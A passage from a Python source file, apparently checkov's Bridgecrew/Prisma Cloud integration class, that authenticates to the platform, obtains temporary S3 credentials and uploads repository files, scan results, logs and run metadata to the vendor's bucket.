Cloud or Birdgecrew token was not set\")\n        if '::' not in self.bc_api_key:\n            raise ValueError(\n                \"A Prisma Cloud token was set, but the token is not in the correct format: <access_key_id>::<secret_key>\")\n        if not self.http:\n            raise AttributeError(\"HTTP manager was not correctly created\")\n        username, password = self.bc_api_key.split('::')\n        request = self.http.request(\"POST\", f\"{self.prisma_api_url}/login\",  # type:ignore[no-untyped-call]\n                                    body=json.dumps({\"username\": username, \"password\": password}),\n                                    headers=merge_dicts({\"Content-Type\": \"application/json\"}, get_user_agent_header()))\n        if request.status == 401:\n            logging.error(f'Received 401 response from Prisma /login endpoint: {request.data.decode(\"utf8\")}')\n            raise BridgecrewAuthError()\n        elif request.status == 403:\n            logging.error('Received 403 (Forbidden) response from Prisma /login endpoint')\n            raise BridgecrewAuthError()\n        token: str = json.loads(request.data.decode(\"utf8\"))['token']\n        return token\n\n    def setup_http_manager(self, ca_certificate: str | None = None, no_cert_verify: bool = False) -> None:\n        \"\"\"\n        bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library.\n        :param ca_certificate: an optional CA bundle to be used by both libraries.\n        :param no_cert_verify: whether to skip SSL cert verification\n        \"\"\"\n        self.ca_certificate = ca_certificate\n        self.no_cert_verify = no_cert_verify\n\n        ca_certificate = ca_certificate or os.getenv('BC_CA_BUNDLE')\n        cert_reqs: str | None\n\n        if self.http:\n            return\n        if ca_certificate:\n            os.environ['REQUESTS_CA_BUNDLE'] = ca_certificate\n            cert_reqs = 'CERT_NONE' if no_cert_verify else 'REQUIRED'\n            logging.debug(f'Using CA cert {ca_certificate} and cert_reqs {cert_reqs}')\n            try:\n                parsed_url = urllib3.util.parse_url(os.environ['https_proxy'])\n                self.http = urllib3.ProxyManager(\n                    os.environ['https_proxy'],\n                    cert_reqs=cert_reqs,\n                    ca_certs=ca_certificate,\n                    proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth),  # type:ignore[no-untyped-call]\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n            except KeyError:\n                self.http = urllib3.PoolManager(\n                    cert_reqs=cert_reqs,\n                    ca_certs=ca_certificate,\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n        else:\n            cert_reqs = 'CERT_NONE' if no_cert_verify else None\n            logging.debug(f'Using cert_reqs {cert_reqs}')\n            try:\n                parsed_url = urllib3.util.parse_url(os.environ['https_proxy'])\n                self.http = urllib3.ProxyManager(\n                    os.environ['https_proxy'],\n                    cert_reqs=cert_reqs,\n                    proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth),  # type:ignore[no-untyped-call]\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n            except KeyError:\n                self.http = urllib3.PoolManager(\n                    cert_reqs=cert_reqs,\n                    timeout=self.http_timeout,\n                    retries=self.http_retry,\n                )\n        logging.debug('Successfully set up HTTP manager')\n\n    @staticmethod\n    def set_config() -> None:\n        # asyncio - on windows aiodns needs SelectorEventLoop\n        if sys.platform == 'win32':\n            asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n    def setup_bridgecrew_credentials(\n        self,\n        repo_id: str,\n        skip_download: bool = False,\n        source: SourceType | None = None,\n        skip_fixes: bool = False,\n        source_version: str | None = None,\n        repo_branch: str | None = None,\n        prisma_api_url: str | None = None,\n        bc_api_url: str | None = None\n    ) -> None:\n        \"\"\"\n        Setup credentials against Bridgecrew's platform.\n        :param repo_id: Identity string of the scanned repository, of the form <repo_owner>/<repo_name>\n        :param skip_download: whether to skip downloading data (guidelines, custom policies, etc) from the platform\n        :param source:\n        :param prisma_api_url: optional URL for the Prisma Cloud platform, requires a Prisma Cloud Access Key as bc_api_key\n        \"\"\"\n        self.repo_id = repo_id\n        self.repo_branch = repo_branch\n        self.skip_fixes = skip_fixes\n        self.skip_download = skip_download\n        self.bc_source = source\n        self.bc_source_version = source_version\n\n        if bc_api_url:\n            self.prisma_api_url = None\n            self.bc_api_url = normalize_bc_url(bc_api_url)\n            self.setup_api_urls()\n            logging.info(f'Using BC API URL: {self.bc_api_url}')\n\n        if prisma_api_url:\n            self.prisma_api_url = normalize_prisma_url(prisma_api_url)\n            self.setup_api_urls()\n            logging.info(f'Using Prisma API URL: {self.prisma_api_url}')\n\n        if self.bc_source and self.bc_source.upload_results:\n            self.set_s3_integration()\n\n        self.platform_integration_configured = True\n\n    def _get_source_id_from_repo_path(self, repo_path: str) -> str | None:\n        repo_path_parts = repo_path.split(\"/\")\n        if not repo_path_parts and repo_path_parts[0] != 'checkov':\n            logging.error(f'failed to get source_id from repo_path. repo_path format is unknown: ${repo_path}')\n            return None\n        try:\n            return '/'.join(repo_path_parts[2:4])\n        except IndexError:\n            logging.error(f'failed to get source_id from repo_path. repo_path format is unknown: ${repo_path}')\n            return None\n\n    def set_s3_integration(self) -> None:\n        try:\n            self.skip_fixes = True  # no need to run fixes on CI integration\n            repo_full_path, support_path, response = self.get_s3_role(self.repo_id)  # type: ignore\n            if not repo_full_path:  # happens if the setup fails with something other than an auth error - we continue locally\n                return\n\n            self.bucket, self.repo_path = repo_full_path.split(\"/\", 1)\n            self.source_id = self._get_source_id_from_repo_path(self.repo_path)\n            self.timestamp = self.repo_path.split(\"/\")[-2]\n            self.credentials = cast(\"dict[str, str]\", response[\"creds\"])\n\n            self.set_s3_client()\n\n            if self.support_flag_enabled:\n                self.support_bucket, self.support_repo_path = cast(str, support_path).split(\"/\", 1)\n\n            self.use_s3_integration = True\n            self.platform_integration_configured = True\n        except MaxRetryError as e:\n            # almost all failures should be caught by this block - we need to differentiate what actually happened\n            # for the causes that are almost certainly user error, we want to hide the exception details\n            # so that it does not look like checkov crashed due to a bug (stack traces are scary for users)\n            if str(e.reason) == 'too many 401 error responses':\n                logging.error('An authentication error occurred connecting to the platform after multiple retries. '\n                              'Please verify that your API key and Prisma API URL are correct, and retry.')\n            elif isinstance(e.reason, urllib3.exceptions.SSLError):\n                logging.error(\"An SSL error occurred connecting to the platform. If you are on a VPN, please try \"\n                              f\"disabling it and re-running the command. The error is: {e.reason}\")\n            else:\n                logging.error('An error occurred connecting to the platform after multiple retries. Please verify your '\n                              'API key and Prisma API URL, as well as network connectivity, and retry. If the problem '\n                              'persists, please enable debug logs and contact support.')\n            logging.debug('The exception details:', exc_info=True)\n            raise PlatformConnectionError(str(e.reason)) from e\n        except HTTPError as e:\n            logging.error('An unexpected error occurred connecting to the platform. Please verify your '\n                          'API key and Prisma API URL, as well as network connectivity, and retry. If the problem '\n                          'persists, please enable debug logs and contact support.', exc_info=True)\n            raise PlatformConnectionError(str(e)) from e\n        except JSONDecodeError as e:\n            logging.error('An unexpected error occurred processing the response from the platform. Please verify your '\n                          'API key and Prisma API URL, as well as network connectivity, and retry. If the problem '\n                          'persists, please enable debug logs and contact support.', exc_info=True)\n            raise PlatformConnectionError(str(e)) from e\n        except BridgecrewAuthError:\n            logging.error('An authentication error occurred connecting to the platform after multiple retries. '\n                          'Please verify that your API keys and Prisma API URL are correct, and retry.')\n            raise\n\n    def set_s3_client(self) -> None:\n        if not self.credentials:\n            raise ValueError(\"Credentials for client are not set\")\n\n        region = DEFAULT_REGION\n        use_accelerate_endpoint = True\n\n        if self.prisma_api_url in REGIONS_URL_NOT_SUPPORT_S3_ACCELERATE:\n            use_accelerate_endpoint = False\n            region = API_URL_REGION_MAP[self.prisma_api_url]\n\n        try:\n            config = Config(\n                s3={\n                    \"use_accelerate_endpoint\": use_accelerate_endpoint,\n                }\n            )\n            self.s3_client = boto3.client(\n                \"s3\",\n                aws_access_key_id=self.credentials[\"AccessKeyId\"],\n                aws_secret_access_key=self.credentials[\"SecretAccessKey\"],\n                aws_session_token=self.credentials[\"SessionToken\"],\n                region_name=region,\n                config=config,\n            )\n        except ClientError:\n            logging.error(f\"Failed to initiate client with credentials {self.credentials}\", exc_info=True)\n            raise\n\n    def get_s3_role(self, repo_id: str) -> tuple[str, str, dict[str, Any]] | tuple[None, None, dict[str, Any]]:\n        token = self.get_auth_token()\n\n        if not self.http:\n            raise AttributeError(\"HTTP manager was not correctly created\")\n\n        tries = 0\n        response = self._get_s3_creds(repo_id, token)\n        while ('Message' in response or 'message' in response):\n            if response.get('Message') and response['Message'] == UNAUTHORIZED_MESSAGE:\n                raise BridgecrewAuthError()\n            elif response.get('message') and ASSUME_ROLE_UNUATHORIZED_MESSAGE in response['message']:\n                raise BridgecrewAuthError(\n                    \"Checkov got an unexpected authorization error that may not be due to your credentials. Please contact support.\")\n            elif response.get('message') and \"cannot be found\" in response['message']:\n                self.loading_output(\"creating role\")\n                response = self._get_s3_creds(repo_id, token)\n            else:\n                if tries < 3:\n                    tries += 1\n                    response = self._get_s3_creds(repo_id, token)\n                else:\n                    logging.error('Checkov got an unexpected error that may be due to backend issues. The scan will continue, '\n                                  'but results will not be sent to the platform. Please contact support for assistance.')\n                    logging.error(f'Error from platform: {response.get(\"message\") or response.get(\"Message\")}')\n                    self.s3_setup_failed = True\n                    return None, None, response\n        repo_full_path = response[\"path\"]\n        support_path = response.get(\"supportPath\")\n        return repo_full_path, support_path, response\n\n    def _get_s3_creds(self, repo_id: str, token: str) -> dict[str, Any]:\n        logging.debug(f'Getting S3 upload credentials from {self.integrations_api_url}')\n        request = self.http.request(\"POST\", self.integrations_api_url,  # type:ignore[union-attr]\n                                    body=json.dumps({\"repoId\": repo_id, \"support\": self.support_flag_enabled}),\n                                    headers=merge_dicts({\"Authorization\": token, \"Content-Type\": \"application/json\"},\n                                                        get_user_agent_header(),\n                                                        self.custom_auth_headers))\n        logging.debug(f'Request ID: {request.headers.get(\"x-amzn-requestid\")}')\n        logging.debug(f'Trace ID: {request.headers.get(\"x-amzn-trace-id\")}')\n        if request.status == 403:\n            error_message = get_auth_error_message(request.status, self.is_prisma_integration(), True)\n            raise BridgecrewAuthError(error_message)\n        response: dict[str, Any] = json.loads(request.data.decode(\"utf8\"))\n        return response\n\n    def is_integration_configured(self) -> bool:\n        \"\"\"\n        Checks if Bridgecrew integration is fully configured based in input params.\n        :return: True if the integration is configured, False otherwise\n        \"\"\"\n        return self.platform_integration_configured\n\n    def persist_repository(\n        self,\n        root_dir: str | Path,\n        files: list[str] | None = None,\n        excluded_paths: list[str] | None = None,\n        included_paths: list[str] | None = None,\n        sast_languages: Set[SastLanguages] | None = None\n    ) -> None:\n        \"\"\"\n        Persist the repository found on root_dir path to Bridgecrew's platform. If --file flag is used, only files\n        that are specified will be persisted.\n        :param files: Absolute path of the files passed in the --file flag.\n        :param root_dir: Absolute path of the directory containing the repository root level.\n        :param excluded_paths: Paths to exclude from persist process\n        :param included_paths: Paths to exclude from persist process\n        \"\"\"\n        excluded_paths = excluded_paths if excluded_paths is not None else []\n\n        if not self.use_s3_integration or self.s3_setup_failed:\n            return\n        files_to_persist: List[FileToPersist] = []\n        if files:\n            for f in files:\n                f_name = os.path.basename(f)\n                _, file_extension = os.path.splitext(f)\n                if file_extension in SCANNABLE_PACKAGE_FILES:\n                    continue\n                if file_extension in SUPPORTED_FILE_EXTENSIONS or f_name in SUPPORTED_FILES:\n                    files_to_persist.append(FileToPersist(f, os.path.relpath(f, root_dir)))\n                if sast_languages:\n                    for framework in sast_languages:\n                        if file_extension in SAST_SUPPORTED_FILE_EXTENSIONS[framework]:\n                            files_to_persist.append(FileToPersist(f, os.path.relpath(f, root_dir)))\n                            break\n\n        else:\n            for root_path, d_names, f_names in os.walk(root_dir):\n                # self.excluded_paths only contains the config fetched from the platform.\n                # but here we expect the list from runner_registry as well (which includes self.excluded_paths).\n                filter_ignored_paths(root_path, d_names, excluded_paths, included_paths=included_paths)\n                filter_ignored_paths(root_path, f_names, excluded_paths)\n                for file_path in f_names:\n                    _, file_extension = os.path.splitext(file_path)\n                    if file_extension in SCANNABLE_PACKAGE_FILES:\n                        continue\n                    full_file_path = os.path.join(root_path, file_path)\n                    relative_file_path = os.path.relpath(full_file_path, root_dir)\n                    if file_extension in SUPPORTED_FILE_EXTENSIONS or file_path in SUPPORTED_FILES or is_dockerfile(file_path):\n                        files_to_persist.append(FileToPersist(full_file_path, relative_file_path))\n                    if sast_languages:\n                        for framework in sast_languages:\n                            if file_extension in SAST_SUPPORTED_FILE_EXTENSIONS[framework]:\n                                files_to_persist.append(FileToPersist(full_file_path, relative_file_path))\n                                break\n\n        self.persist_files(files_to_persist)\n\n    def persist_git_configuration(self, root_dir: str | Path, git_config_folders: list[str]) -> None:\n        if not self.use_s3_integration or self.s3_setup_failed:\n            return\n        files_to_persist: list[FileToPersist] = []\n\n        for git_config_folder in git_config_folders:\n            if not os.path.isdir(git_config_folder):\n                continue\n            if not len(os.listdir(git_config_folder)):\n                continue\n\n            for root_path, _, f_names in os.walk(git_config_folder):\n                for file_path in f_names:\n                    _, file_extension = os.path.splitext(file_path)\n                    if file_extension in SUPPORTED_FILE_EXTENSIONS:\n                        full_file_path = os.path.join(root_path, file_path)\n                        relative_file_path = os.path.relpath(full_file_path, root_dir)\n                        files_to_persist.append(FileToPersist(full_file_path, relative_file_path))\n\n        self.persist_files(files_to_persist)\n\n    def adjust_sast_match_location_path(self, match: Match) -> None:\n        for dir in self.scan_dir:\n            if match.location.path.startswith(os.path.abspath(dir)):\n                match.location.path = match.location.path.replace(os.path.abspath(dir), self.repo_path)  # type: ignore\n                if match.metadata.code_locations:\n                    for code_location in match.metadata.code_locations:\n                        code_location.path = code_location.path.replace(os.path.abspath(dir), self.repo_path)  # type: ignore\n\n                if match.metadata.taint_mode and match.metadata.taint_mode.data_flow:\n                    for df in match.metadata.taint_mode.data_flow:\n                        df.path = df.path.replace(os.path.abspath(dir), self.repo_path)  # type: ignore\n\n                return\n\n        for file in self.scan_file:\n            if match.location.path == os.path.abspath(file):\n                file_dir = '/'.join(match.location.path.split('/')[0:-1])\n                match.location.path = match.location.path.replace(os.path.abspath(file_dir), self.repo_path)  # type: ignore\n                if match.metadata.code_locations:\n                    for code_location in match.metadata.code_locations:\n                        code_location.path = code_location.path.replace(os.path.abspath(file_dir), self.repo_path)  # type: ignore\n\n                if match.metadata.taint_mode and match.metadata.taint_mode.data_flow:\n                    for df in match.metadata.taint_mode.data_flow:\n                        df.path = df.path.replace(os.path.abspath(file_dir), self.repo_path)  # type: ignore\n\n                return\n\n    def adjust_sast_skipped_checks_path(self, skipped_checks_by_file: Dict[str, List[SkippedCheck]]) -> None:\n        for filepath in list(skipped_checks_by_file.keys()):\n            new_filepath = None\n            for dir in self.scan_dir:\n                if filepath.startswith(os.path.abspath(dir)):\n                    file_dir = '/'.join(filepath.split('/')[0:-1])\n                    new_filepath = filepath.replace(os.path.abspath(file_dir), self.repo_path)  # type: ignore\n                    break\n            for file in self.scan_file:\n                if filepath == os.path.abspath(file):\n                    file_dir = '/'.join(filepath.split('/')[0:-1])\n                    new_filepath = filepath.replace(os.path.abspath(file_dir), self.repo_path)  # type: ignore\n                    break\n            if new_filepath:\n                skipped_checks_by_file[new_filepath] = skipped_checks_by_file[filepath]\n                skipped_checks_by_file.pop(filepath)\n\n    @staticmethod\n    def _delete_code_block_from_sast_report(report: Dict[str, Any]) -> None:\n        if isinstance(report, dict):\n            for key, value in report.items():\n                if key == 'code_block':\n                    report[key] = ''\n                BcPlatformIntegration._delete_code_block_from_sast_report(value)\n        if isinstance(report, list):\n            for item in report:\n                BcPlatformIntegration._delete_code_block_from_sast_report(item)\n\n    @staticmethod\n    def save_sast_report_locally(sast_scan_reports: Dict[str, Dict[str, Any]]) -> None:\n        for lang, report in sast_scan_reports.items():\n            filename = f'{lang}_report.json'\n            with open(f\"/tmp/{filename}\", 'w') as f:  # nosec\n                f.write(json.dumps(report))\n\n    def persist_sast_scan_results(self, reports: List[Report]) -> None:\n        sast_scan_reports = {}\n        for report in reports:\n            if not report.check_type.lower().startswith(CheckType.SAST):\n                continue\n            if not hasattr(report, 'sast_report') or not report.sast_report:\n                continue\n            for _, match_by_check in report.sast_report.rule_match.items():\n                for _, match in match_by_check.items():\n                    for m in match.matches:\n                        self.adjust_sast_match_location_path(m)\n                self.adjust_sast_skipped_checks_path(report.sast_report.skipped_checks_by_file)\n\n                sast_scan_reports[report.check_type] = report.sast_report.model_dump(mode='json')\n            if self.on_prem:\n                BcPlatformIntegration._delete_code_block_from_sast_report(sast_scan_reports)\n\n        if os.getenv('SAVE_SAST_REPORT_LOCALLY'):\n            self.save_sast_report_locally(sast_scan_reports)\n\n        persist_checks_results(sast_scan_reports, self.s3_client, self.bucket, self.repo_path)  # type: ignore\n\n    def persist_cdk_scan_results(self, reports: List[Report]) -> None:\n        cdk_scan_reports = {}\n        for report in reports:\n            if not report.check_type.startswith(CDK_FRAMEWORK_PREFIX):\n                continue\n            if not report.cdk_report:  # type: ignore\n                continue\n            for match_by_check in report.cdk_report.rule_match.values():  # type: ignore\n                for _, match in match_by_check.items():\n                    for m in match.matches:\n                        self.adjust_sast_match_location_path(m)\n                cdk_scan_reports[report.check_type] = report.cdk_report.model_dump(mode='json')  # type: ignore\n            if self.on_prem:\n                BcPlatformIntegration._delete_code_block_from_sast_report(cdk_scan_reports)\n\n        # In case we dont have sast report - create empty one\n        sast_reports = {}\n        for check_type, report in cdk_scan_reports.items():\n            lang = check_type.split('_')[1]\n            found_sast_report = False\n            for report in reports:\n                if report.check_type == f'sast_{lang}':\n                    found_sast_report = True\n            if not found_sast_report:\n                sast_reports[f'sast_{lang}'] = report.empty_sast_report.model_dump(mode='json')  # type: ignore\n\n        persist_checks_results(sast_reports, self.s3_client, self.bucket, self.repo_path)  # type: ignore\n        persist_checks_results(cdk_scan_reports, self.s3_client, self.bucket, self.repo_path)  # type: ignore\n\n    def persist_scan_results(self, scan_reports: list[Report]) -> None:\n        \"\"\"\n        Persist checkov's scan result into bridgecrew's platform.\n        :param scan_reports: List of checkov scan reports\n        \"\"\"\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(f\"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}\")\n            return\n\n        # just process reports with actual results in it\n        self.scan_reports = [scan_report for scan_report in scan_reports if not scan_report.is_empty(full=True)]\n\n        reduced_scan_reports = reduce_scan_reports(self.scan_reports, self.on_prem)\n        checks_metadata_paths = enrich_and_persist_checks_metadata(self.scan_reports, self.s3_client, self.bucket,\n                                                                   self.repo_path, self.on_prem)\n        dpath.merge(reduced_scan_reports, checks_metadata_paths)\n        persist_checks_results(reduced_scan_reports, self.s3_client, self.bucket, self.repo_path)\n\n    async def persist_reachability_alias_mapping(self, alias_mapping: Dict[str, Any]) -> None:\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(f\"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}\")\n            return\n\n        s3_path = f'{self.repo_path}/alias_mapping.json'\n        _put_json_object(self.s3_client, alias_mapping, self.bucket, s3_path)\n\n    def persist_assets_scan_results(self, assets_report: Optional[Dict[str, Any]]) -> None:\n        if not assets_report:\n            return\n        for lang, assets in assets_report['imports'].items():\n            new_report = {'imports': {lang.value: assets}}\n            persist_assets_results(f'sast_{lang.value}', new_report, self.s3_client, self.bucket, self.repo_path)\n\n    def persist_reachability_scan_results(self, reachability_report: Optional[Dict[str, Any]]) -> None:\n        if not reachability_report:\n            return\n        for lang, report in reachability_report.items():\n            persist_reachability_results(f'sast_{lang}', {lang: report}, self.s3_client, self.bucket, self.repo_path)\n\n    def persist_image_scan_results(self, report: dict[str, Any] | None, file_path: str, image_name: str, branch: str) -> None:\n        if not self.s3_client:\n            logging.error(\"S3 upload was not correctly initialized\")\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(\"Bucket or repo_path was not set\")\n            return\n\n        repo_path_without_src = os.path.dirname(self.repo_path)\n        target_report_path = f'{repo_path_without_src}/{checkov_results_prefix}/{CheckType.SCA_IMAGE}/raw_results.json'\n        to_upload = {\"report\": report, \"file_path\": file_path, \"image_name\": image_name, \"branch\": branch}\n        _put_json_object(self.s3_client, to_upload, self.bucket, target_report_path)\n\n    def persist_enriched_secrets(self, enriched_secrets: list[EnrichedSecret]) -> str | None:\n        if not enriched_secrets or not self.repo_path or not self.bucket:\n            logging.debug(f'One of enriched secrets, repo path, or bucket are empty, aborting. values:'\n                          f'enriched_secrets={\"Valid\" if enriched_secrets else \"Empty\"},'\n                          f' repo_path={self.repo_path}, bucket={self.bucket}')\n            return None\n\n        if not bc_integration.bc_api_key or not os.getenv(\"CKV_VALIDATE_SECRETS\"):\n            logging.debug('Skipping persistence of enriched secrets object as secrets verification is off,'\n                          ' enabled it via env var CKV_VALIDATE_SECRETS and provide an api key')\n            return None\n\n        if not self.s3_client:\n            logging.error(\"S3 upload was not correctly initialized\")\n            return None\n\n        base_path = re.sub(REPO_PATH_PATTERN, r'original_secrets/\\1', self.repo_path)\n        s3_path = f'{base_path}/{uuid.uuid4()}.json'\n        try:\n            _put_json_object(self.s3_client, enriched_secrets, self.bucket, s3_path, log_stack_trace_on_error=False)\n        except ClientError:\n            logging.warning(\"Got access denied, retrying as s3 role changes should be propagated\")\n            sleep(4)\n            try:\n                _put_json_object(self.s3_client, enriched_secrets, self.bucket, s3_path, log_stack_trace_on_error=False)\n            except ClientError:\n                logging.error(\"Getting access denied consistently, skipping secrets verification, please try again\")\n                return None\n\n        return s3_path\n\n    def persist_run_metadata(self, run_metadata: dict[str, str | list[str]]) -> None:\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(f\"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}\")\n            return\n        persist_run_metadata(run_metadata, self.s3_client, self.bucket, self.repo_path, True)\n        if self.support_bucket and self.support_repo_path:\n            logging.debug(f'Also uploading run_metadata.json to support location: {self.support_bucket}/{self.support_repo_path}')\n            persist_run_metadata(run_metadata, self.s3_client, self.support_bucket, self.support_repo_path, False)\n\n    def persist_all_logs_streams(self, logs_streams: Dict[str, StringIO]) -> None:\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.support_bucket or not self.support_repo_path:\n            logging.error(\n                f\"Something went wrong with the log upload location: bucket {self.support_bucket}, repo path {self.support_repo_path}\")\n            return\n\n        persist_multiple_logs_stream(logs_streams, self.s3_client, self.support_bucket, self.support_repo_path)\n\n    def persist_graphs(self, graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]], absolute_root_folder: str = '') -> None:\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(f\"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}\")\n            return\n        persist_graphs(graphs, self.s3_client, self.bucket, self.repo_path, self.persist_graphs_timeout,\n                       absolute_root_folder=absolute_root_folder)\n\n    def persist_resource_subgraph_maps(self, resource_subgraph_maps: dict[str, dict[str, str]]) -> None:\n        if not self.use_s3_integration or not self.s3_client or self.s3_setup_failed:\n            return\n        if not self.bucket or not self.repo_path:\n            logging.error(f\"Something went wrong: bucket {self.bucket}, repo path {self.repo_path}\")\n            return\n        persist_resource_subgraph_maps(resource_subgraph_maps, self.s3_client, self.bucket, self.repo_path, self.persist_graphs_timeout)\n\n    def commit_repository(self, branch: str) -> str | None:\n        \"\"\"\n        :param branch: branch to be persisted\n        Finalize the repository's scanning in bridgecrew's platform.\n        \"\"\"\n        try_num = 0\n        while try_num < MAX_RETRIES:\n            if not self.use_s3_integration or self.s3_setup_failed:\n                return None\n\n            request = None\n            response = None\n            try:\n                if not self.http:\n                    logging.error(\"HTTP manager was not correctly created\")\n                    return None\n                if not self.bc_source:\n                    logging.error(\"Source was not set\")\n                    return None\n                if not self.bc_source.upload_results:\n                    # no need to upload something\n                    return None\n\n                logging.debug(f'Submitting finalize upload request to {self.integrations_api_url}')\n                request = self.http.request(\"PUT\", f\"{self.integrations_api_url}?source={self.bc_source.name}\",  # type:ignore[no-untyped-call]\n                                            body=json.dumps(\n                                                {\"path\": self.repo_path, \"branch\": branch,\n                                                 \"to_branch\": CI_METADATA_EXTRACTOR.to_branch,\n                                                 \"pr_id\": CI_METADATA_EXTRACTOR.pr_id,\n                                                 \"pr_url\": CI_METADATA_EXTRACTOR.pr_url,\n                                                 \"commit_hash\": CI_METADATA_EXTRACTOR.commit_hash,\n                                                 \"commit_url\": CI_METADATA_EXTRACTOR.commit_url,\n                                                 \"author\": CI_METADATA_EXTRACTOR.author_name,\n                                                 \"author_url\": CI_METADATA_EXTRACTOR.author_url,\n                                                 \"run_id\": CI_METADATA_EXTRACTOR.run_id,\n                                                 \"run_url\": CI_METADATA_EXTRACTOR.run_url,\n                                                 \"repository_url\": CI_METADATA_EXTRACTOR.repository_url}),\n                                            headers=merge_dicts({\"Authorization\": self.get_auth_token(),\n                                                                 \"Content-Type\": \"application/json\",\n                                                                 'x-api-client': self.bc_source.name,\n                                                                 'x-api-checkov-version': checkov_version},\n                                                                get_user_agent_header(),\n                                                                self.custom_auth_headers\n                                                                ))\n                response = json.loads(request.data.decode(\"utf8\"))\n                logging.debug(f'Request ID: {request.headers.get(\"x-amzn-requestid\")}')\n                logging.debug(f'Trace ID: {request.headers.get(\"x-amzn-trace-id\")}')\n                url: str = self.get_sso_prismacloud_url(response.get(\"url\", None))\n                return url\n            except HTTPError:\n                logging.error(f\"Failed to commit repository {self.repo_path}\", exc_info=True)\n                self.s3_setup_failed = True\n            except JSONDecodeError:\n                if request:\n                    logging.warning(f\"Response (status: {request.status}) of {self.integrations_api_url}: {request.data.decode('utf8')}\")  # danger:ignore - we won't be here if the response contains valid data\n                logging.error(f\"Response of {self.integrations_api_url} is not a valid JSON\", exc_info=True)\n                self.s3_setup_failed = True\n            finally:\n                if request and request.status == 201 and response and response.get(\"result\") == \"Success\":\n                    logging.info(f\"Finalize repository {self.repo_id} in the platform\")\n                elif (\n                    response\n                    and try_num < MAX_RETRIES\n                    and re.match(\"The integration ID .* in progress\", response.get(\"message\", \"\"))\n                ):\n                    logging.info(\n                        f\"Failed to persist for repo {self.repo_id}, sleeping for {SLEEP_SECONDS} seconds before retrying\")\n                    try_num += 1\n                    sleep(SLEEP_SECONDS)\n                else:\n                    logging.error(f\"Failed to finalize repository {self.repo_id} in the platform with the following error:\\n{response}\")\n                    self.s3_setup_failed = True\n\n        return None\n\n    def persist_files(self, files_to_persist: list[FileToPersist]) -> None:\n        logging.info(f\"Persisting {len(files_to_persist)} files\")\n        with futures.ThreadPoolExecutor() as executor:\n            futures.wait(\n                [executor.submit(self._persist_file, file_to_persist.full_file_path, file_to_persist.s3_file_key) for\n                 file_to_persist in files_to_persist],\n                return_when=futures.FIRST_EXCEPTION,\n            )\n        logging.info(f\"Done persisting {len(files_to_persist)} files\")\n\n    def _persist_file(self, full_file_path: str, s3_file_key: str) -> None:\n        tries = MAX_RETRIES\n        curr_try = 0\n\n        if not self.s3_client or not self.bucket or not self.repo_path:\n            logging.error(\n                f\"Something went wrong: S3 client {self.s3_client} bucket {self.bucket}, repo path {self.repo_path}\"\n            )\n            return\n\n        file_object_key = os.path.join(self.repo_path, s3_file_key).replace(\"\\\\\", \"/\")\n        while curr_try < tries:\n            try:\n                self.s3_client.upload_file(full_file_path, self.bucket, file_object_key)\n                return\n            except ClientError as e:\n                if e.response.get('Error', {}).get('Code') == 'AccessDenied':\n                    sleep(SLEEP_SECONDS)\n                    curr_try += 1\n                else:\n                    logging.error(f\"failed to persist file {full_file_path} into S3 bucket {self.bucket}\", exc_info=True)\n                    logging.debug(f\"file size of {full_file_path} is {os.stat(full_file_path).st_size} bytes\")\n                    raise\n            except Exception:\n                logging.error(f\"failed to persist file {full_file_path} into S3 bucket {self.bucket}\", exc_info=True)\n                logging.debug(f\"file size of {full_file_path} is {os.stat(full_file_path).st_size} bytes\")\n                raise\n        if curr_try == tries:\n            logging.error(\n                f\"failed to persist file {full_file_path} into S3 bucket {self.bucket} - gut AccessDenied {tries} times\")\n\n    def get_platform_run_config(self) -> None:\n        if self.skip_download is True:\n            logging.debug(\"Skipping downloading configs from platform\")\n            return\n\n        if self.is_integration_configured():\n            self.get_customer_run_config()\n        else:\n            self.get_public_run_config()\n\n    def _get_run_config_query_params(self) -> str:\n        # ignore mypy warning that this can be null\n        return f'module={\"bc\" if self.is_bc_token(self.bc_api_key) else \"pc\"}&enforcementv2=true&repoId={urllib.parse.quote(self.repo_id)}'  # type: ignore\n\n    def get_run_config_url(self) -> str:\n        return f'{self.platform_run_config_url}?{self._get_run_config_query_params()}'\n\n    def get_customer_run_config(self) -> None:\n        if self.skip_download is True:\n            logging.debug(\"Skipping customer run config API call\")\n            return\n\n        if not self.bc_api_key or not self.is_integration_configured():\n            raise Exception(\n                \"Tried to get customer run config, but the API key was missing or the integration was not set up\")\n\n        if not self.bc_source:\n            logging.error(\"Source was not set\")\n            return\n\n        try:\n            token = self.get_auth_token()\n            headers = merge_dicts(get_auth_header(token),\n                                  get_default_get_headers(self.bc_source, self.bc_source_version),\n                                  self.custom_auth_headers)\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                return\n\n            platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM\n\n            url = self.get_run_config_url()\n            logging.debug(f'Platform run config URL: {url}')\n            request = self.http.request(\"GET\", url, headers=headers)  # type:ignore[no-untyped-call]\n            request_id = request.headers.get(\"x-amzn-requestid\")\n            trace_id = request.headers.get(\"x-amzn-trace-id\")\n            logging.debug(f'Request ID: {request_id}')\n            logging.debug(f'Trace ID: {trace_id}')\n            if request.status == 500:\n                error_message = 'An unexpected backend error occurred getting the run configuration from the platform (status code 500). ' \\\n                                'please contact 